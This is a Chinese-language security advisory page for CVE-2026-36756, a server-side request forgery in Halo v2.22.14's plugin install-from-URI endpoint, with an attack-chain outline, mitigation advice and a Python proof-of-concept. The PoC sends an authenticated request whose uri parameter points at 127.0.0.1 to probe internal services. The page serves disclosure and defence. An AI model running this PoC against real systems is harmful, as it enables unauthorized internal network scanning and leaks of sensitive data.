IPBUF安全漏洞报告
English
CVE-2026-36756 CVSS 5.4 中危

CVE-2026-36756 Halo 存在服务端请求伪造漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-36756
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Halo

相关标签

SSRF服务端请求伪造Halo内网扫描CWE-918

漏洞概述

Halo v2.22.14版本中的插件安装接口存在服务端请求伪造(SSRF)漏洞。由于未对用户输入进行严格校验,已登录的攻击者可利用/plugins/-/install-from-uri端点,通过构造恶意GET请求诱导服务器访问内网资源,从而探测内网敏感信息。

技术细节

该漏洞源于Halo v2.22.14在处理插件安装请求时,/plugins/-/install-from-uri端点未对URI参数进行充分的安全校验,导致存在服务端请求伪造(SSRF)。攻击者首先需要获取一个低权限账户的会话令牌以通过身份验证。随后,攻击者构造包含内网IP地址(如192.168.x.x)、本地回环地址(127.0.0.1)或云元数据地址的恶意URI参数,并发送GET请求至目标端点。服务器端应用程序在接收到请求后,会无条件解析该URI并向目标内网地址发起HTTP请求。由于服务器位于内网环境中,它能绕过外部防火墙限制访问内网资源。攻击者可根据响应时间或内容差异,判断内网端口开放状态及服务类型,进而获取敏感信息。

攻击链分析

STEP 1
获取凭证
攻击者通过注册或社会工程学手段获取目标Halo系统的低权限用户账户凭证。
STEP 2
构造Payload
攻击者构造包含内网敏感地址(如127.0.0.1、内部API地址)的URI参数。
STEP 3
发送请求
攻击者携带认证Cookie向/plugins/-/install-from-uri端点发送包含恶意URI的GET请求。
STEP 4
内网探测
服务器端解析URI并向内网发起请求,将响应返回给攻击者,导致内网信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-halo-instance/plugins/-/install-from-uri" # Internal resource to scan (e.g., local admin panel or cloud metadata) internal_resource = "http://127.0.0.1:8080" # Attacker's credentials (Authentication required) cookies = { "SESSION": "your_stolen_or_valid_session_cookie_here" } # Payload parameters params = { "uri": internal_resource } try: # Send malicious GET request to trigger SSRF print(f"[*] Attempting to scan internal resource: {internal_resource}") response = requests.get(target_url, params=params, cookies=cookies, timeout=10) # Check response based on status code if response.status_code == 200: print("[+] SSRF successful. Response received:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Halo v2.22.14

防御指南

临时缓解措施
建议管理员立即升级Halo至修复了该漏洞的最新版本。如果无法立即升级,应在网络边界设备(如防火墙、WAF)上部署规则,阻断对/plugins/-/install-from-uri接口的非正常访问,或严格校验该接口传入的URI参数,禁止内网IP地址(如127.0.0.1, 192.168.x.x, 10.x.x.x等)的解析请求。同时,加强对管理后台账户的权限管理,避免低权限账户拥有插件安装等高风险操作权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表